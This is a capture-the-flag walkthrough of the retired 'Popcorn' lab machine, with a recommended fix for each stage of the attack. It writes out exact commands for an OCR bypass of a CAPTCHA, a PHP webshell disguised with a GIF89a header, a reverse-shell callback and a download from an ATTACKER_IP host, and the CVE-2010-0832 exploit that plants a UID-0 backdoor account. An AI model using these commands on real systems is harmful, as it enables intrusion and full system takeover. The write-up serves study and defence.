← all walkthroughs

Popcorn

Linux· Medium· Web
owned
2026-07-02
time to own
8m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the host, found only SSH (port 22, OpenSSH 5.1p1) and an Apache web server (port 80) running a PHP Torrent Hoster application. Registration was gated by an image CAPTCHA, which was bypassed automatically using OCR software.

Once authenticated, I uploaded a valid .torrent file to create a record, then abused a weakly validated 'screenshot' upload endpoint: prepending a GIF89a magic-byte header to a PHP webshell tricked the image check, and the server stored the file with a .php extension inside the web root — giving immediate remote code execution as the www-data service account. The user flag was read directly.

For root, I matched the running kernel (Ubuntu 9.10, 2.6.31-14-generic-pae) to a publicly known PAM MOTD race-condition exploit (CVE-2010-0832), staged it on the target, and triggered it to write a new UID-0 backdoor user ([REDACTED: recovered credential]) into /etc/passwd. I then SSH'd in as that user — forcing legacy cryptographic negotiation required by the ancient SSH daemon — and captured the root flag, achieving complete system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / service fingerprinting
Discovered two open services and identified the PHP web application
A port scan of $TARGET found only two TCP services: port 22 running OpenSSH 5.1p1 on Ubuntu (an unsupported build from 2009) and port 80 running Apache 2.2.12. Browsing the vhost popcorn.htb loaded the Torrent Hoster PHP application at /torrent/, presenting a registration, login, and file-upload interface.
Nmap banner: '22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2'; '80/tcp open http Apache httpd 2.2.12'; Torrent Hoster stylesheet at http://popcorn.htb/torrent/templates/layout.css confirmed.
Exact commands 2
Enumerate open ports and banner-grab service versions.
nmap -p22,80 -sV -Pn $TARGET
Confirm the Torrent Hoster app loads; note /torrent/ path and PHP links.
curl --resolve popcorn.htb:80:$TARGET http://popcorn.htb/torrent/
FixUpgrade end-of-life server software and harden the SSH cryptographic configurationHigh
WeaknessApache 2.2.12 (EOL 2013), OpenSSH 5.1p1, and Ubuntu 9.10 are all unsupported and permanently unpatched. The SSH daemon also advertised deprecated key-exchange algorithms (diffie[REDACTED: sensitive value]) and SHA-1-based host keys, increasing the cryptographic attack surface and signaling an unmaintained host.
FixUpgrade Apache to the current 2.4.x branch and OpenSSH to the current 9.x stable release alongside the OS upgrade. In /etc/ssh/sshd_config, restrict KexAlgorithms to curve25519-sha256 and ecdh-sha2-nistp256/384/521; set HostKeyAlgorithms and PubkeyAcceptedAlgorithms to ecdsa-sha2-* and ed25519 only, removing all sha-1 and group1 entries. Enforce a routine patch schedule for all server components.
2Initial Access — PreparationCAPTCHA bypass via OCR automation
Bypassed the registration CAPTCHA with OCR to create an authenticated account
The new-account form required solving an image CAPTCHA. I fetched the CAPTCHA image using the session cookie jar, fed it to the Tesseract OCR engine to extract the printed text, and submitted the registration form programmatically — gaining a valid authenticated session without any human interaction. This opened the upload and management features of the application.
Registration completed for codex1/[REDACTED: recovered credential] using OCR-extracted CAPTCHA value; session cookie accepted on subsequent requests.
Exact commands 4
Prime the session cookie jar.
tmp=$(mktemp -d) && curl --resolve popcorn.htb:80:$TARGET -c $tmp/cjar 'http://popcorn.htb/torrent/users/index.php?mode=register' >/dev/null
Download the CAPTCHA image.
curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -o $tmp/captcha.png 'http://popcorn.htb/torrent/captcha.php'
Extract the CAPTCHA text; result stored in $code.
code=$(tesseract $tmp/captcha.png stdout --psm 7 -c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 2>/dev/null | tr -d ' ')
Submit the registration form using the OCR-solved CAPTCHA.
curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -c $tmp/cjar -L --data-urlencode 'username=codex1' --data-urlencode "password=$PASSWORD" --data-urlencode 'email=codex1@popcorn.htb' --data-urlencode "captcha=$code" 'http://popcorn.htb/torrent/users/index.php?mode=register'
FixReplace the OCR-solvable CAPTCHA with a modern bot-resistant controlMedium
WeaknessThe registration CAPTCHA used simple printed alphanumeric images that the Tesseract OCR engine solved correctly on the first attempt, providing no effective barrier against automated account creation. Unrestricted account creation gave an unauthorised user access to the file-upload features that enabled the webshell.
FixReplace the custom CAPTCHA with a proven third-party service (Google reCAPTCHA v3, hCaptcha, or Cloudflare Turnstile). Additionally, require email verification before activating a new account, and apply per-IP rate limiting on registration and login endpoints to slow credential-stuffing and automation.
3Foothold — File UploadMalicious file upload / MIME-type and magic-byte bypass (CWE-434)
Planted a PHP webshell by spoofing the image check on the screenshot upload
After logging in, I uploaded a minimal valid .torrent file at torrents.php?mode=upload, creating a database record whose SHA1 reference hash is [REDACTED: sensitive value] The torrent's edit page exposed an 'Update Screenshot' file-upload form. The server validated uploads by checking the Content-Type header and the first bytes of the file only — it never attempted to parse or re-encode the upload as a real image. I prefixed a PHP one-liner webshell with the four bytes GIF89a (the standard GIF magic signature) and submitted the file with Content-Type: image/gif. The server accepted it, stored it under the torrent hash with a .php extension in the web-accessible /torrent/upload/ directory, and made it immediately reachable over HTTP.
Upload endpoint confirmed at /torrent/upload_file.php?mode=upload&id=[REDACTED: sensitive value]; stored webshell accessible at /torrent/upload/[REDACTED: sensitive value]
Exact commands 3
Upload any valid .torrent file; record the torrent hash from the redirect URL.
curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -c $tmp/cjar -F 'torrent=@sample.torrent;type=application/x-bittorrent' -F 'name=test' -F 'category=0' 'http://popcorn.htb/torrent/torrents.php?mode=upload'
Create the webshell payload with the GIF89a magic prefix to pass the image-type check.
printf 'GIF89a\n<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' > cdx.php
Submit the webshell as the screenshot; the server stores it as <hash>.php in /torrent/upload/.
curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -F 'file=@cdx.php;type=image/gif' 'http://popcorn.htb/torrent/upload_file.php?mode=upload&id=[REDACTED: sensitive value]'
FixEnforce true server-side image validation and prevent execution of uploaded filesCritical
WeaknessThe screenshot upload accepted any file whose Content-Type header was image/gif and whose first bytes were GIF89a, without attempting to parse the content as a real image. Because the server stored uploads with a .php extension inside the Apache web root, embedded PHP code was executed on the next HTTP request.
Fix1) Validate uploads with an image-processing library that actually decodes the file (PHP getimagesize() with GD/Imagick, or re-encode with imagecreatefromstring()); reject anything that fails. 2) Strip the original extension and rename stored files to a random name with a safe extension (e.g., .jpg). 3) Move the upload storage directory outside the web root and serve files through a controller that sets Content-Disposition: attachment. 4) Add an Apache directive (php_admin_flag engine off) to the upload directory to block PHP execution even if a file lands there.
4Foothold — Remote Code ExecutionWebshell execution / OS command injection
Executed arbitrary OS commands through the web-accessible PHP webshell
The stored .php file was directly reachable over HTTP. Passing a cmd query parameter caused the Apache/PHP stack to execute it as a shell command under the www-data service account. My first confirmed execution with id;whoami;uname -a (confirming www-data and kernel 2.6.31-14-generic-pae), then sent a bash reverse shell payload to obtain an interactive session.
Curl .../upload/[REDACTED: sensitive value] returned uid=33(www-data) and Linux popcorn 2.6.31-14-generic-pae.
Exact commands 3
Verify RCE — expected: uid=33(www-data) and kernel version.
curl -sS --resolve popcorn.htb:80:$TARGET 'http://popcorn.htb/torrent/upload/[REDACTED: sensitive value]'
Start a listener on my machine before triggering the callback.
nc -lvnp 4444
Trigger the reverse shell; replace $ATTACKER_IP with my reachable address.
curl -sS --resolve popcorn.htb:80:$TARGET "http://popcorn.htb/torrent/upload/[REDACTED: sensitive value]$ATTACKER_IP%2F4444%200%3E%261%27"
5CollectionFile system enumeration
Read the user flag directly from www-data's shell
From the interactive www-data shell, /home/george/user.txt had world-readable permissions, requiring no additional privilege. My read it in place.
Find /home -name user.txt -exec cat {} \; returned the user flag as www-data.
Exact commands 2
Locate and read all user.txt files; expected output: <user.txt>.
find /home -name user.txt -exec cat {} \; 2>/dev/null
Direct read once path is known — returns <user.txt>.
cat /home/george/user.txt
6Privilege EscalationLocal privilege escalation / TOCTOU race condition in PAM MOTD (CVE-2010-0832)
Exploited unpatched CVE-2010-0832 (PAM MOTD) to create a root-level backdoor user
The kernel uname output (2.6.31-14-generic-pae) and OS release (Ubuntu 9.10 Karmic Koala) matched public exploit EDB-ID 14339, which targets a TOCTOU race condition in the PAM pam_motd module. When a user logs in over SSH, pam_motd calls run-parts as root on the MOTD update directory. By winning the race, any local user can redirect that root-run script to arbitrary commands. I hosted the exploit on an HTTP server, fetched it inside the www-data shell, and ran it with HOME=/var/www to give the service account a writable home directory. The exploit appended a new UID-0 line ([REDACTED: recovered credential][REDACTED: recovered credential]) to /etc/passwd and /etc/shadow, creating a root backdoor.
Uname -a from webshell: 'Linux popcorn 2.6.31-14-generic-pae #19-Ubuntu'; exploit EDB-ID 14339 matched; grep [REDACTED: recovered credential] /etc/passwd confirmed UID-0 entry after run.
Exact commands 4
Run on my machine in the directory holding 14339.sh (download from Exploit-DB ID 14339).
python3 -m http.server 9001
Fetch the exploit onto the target; replace $ATTACKER_IP.
cd /tmp && curl -fsS http://$ATTACKER_IP:9001/14339.sh -o 14339.sh && chmod +x 14339.sh
Run the exploit; HOME override gives www-data a writable directory the exploit needs.
HOME=/var/www bash /tmp/14339.sh
Confirm backdoor user was added — expected: [REDACTED: recovered credential]
grep $PASSWORD2 /etc/passwd
FixPatch CVE-2010-0832 and upgrade the end-of-life operating systemCritical
WeaknessThe server ran Ubuntu 9.10 Karmic Koala (EOL April 2011), which no longer receives security updates. The installed PAM package contained CVE-2010-0832, a TOCTOU race condition in pam_motd that any local user — including unprivileged service accounts like www-data — can exploit to execute arbitrary commands as root.
FixMigrate the server immediately to a current Ubuntu LTS release (22.04 or 24.04 LTS). As an emergency interim measure, apply the 2010 pam security update (libpam-modules 1.1.1-2ubuntu5.1) if the OS can still accept package updates. Establish a patch-management policy requiring OS security updates within 30 days of release and flagging any EOL component for immediate replacement.
7Full CompromiseSSH backdoor login / forced legacy cryptographic negotiation
SSH'd in as the root backdoor user and captured the root flag
With [REDACTED: recovered credential][REDACTED: recovered credential] written into /etc/passwd as UID 0, I connected over SSH. The target's OpenSSH 5.1p1 daemon only supported deprecated key-exchange algorithms (diffie[REDACTED: sensitive value]) and the sha1-based ssh-rsa host key type — both disabled by default in modern SSH clients. My explicitly re-enabled them on the client side to complete the handshake, landing at a root shell and reading /root/root.txt.
Sshpass -p [REDACTED: recovered credential] ssh ... Toor@$TARGET returned uid=0(root); root.txt read successfully.
Exact commands 1
Log in as toor (UID 0); legacy kex/hostkey flags are required by OpenSSH 5.1p1. Expected: uid=0(root) and <root.txt>.
sshpass -p $PASSWORD2 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 -o HostKeyAlgorithms=ssh-rsa -o PubkeyAcceptedAlgorithms=ssh-rsa -o KexAlgorithms=diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 toor@$TARGET 'id; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp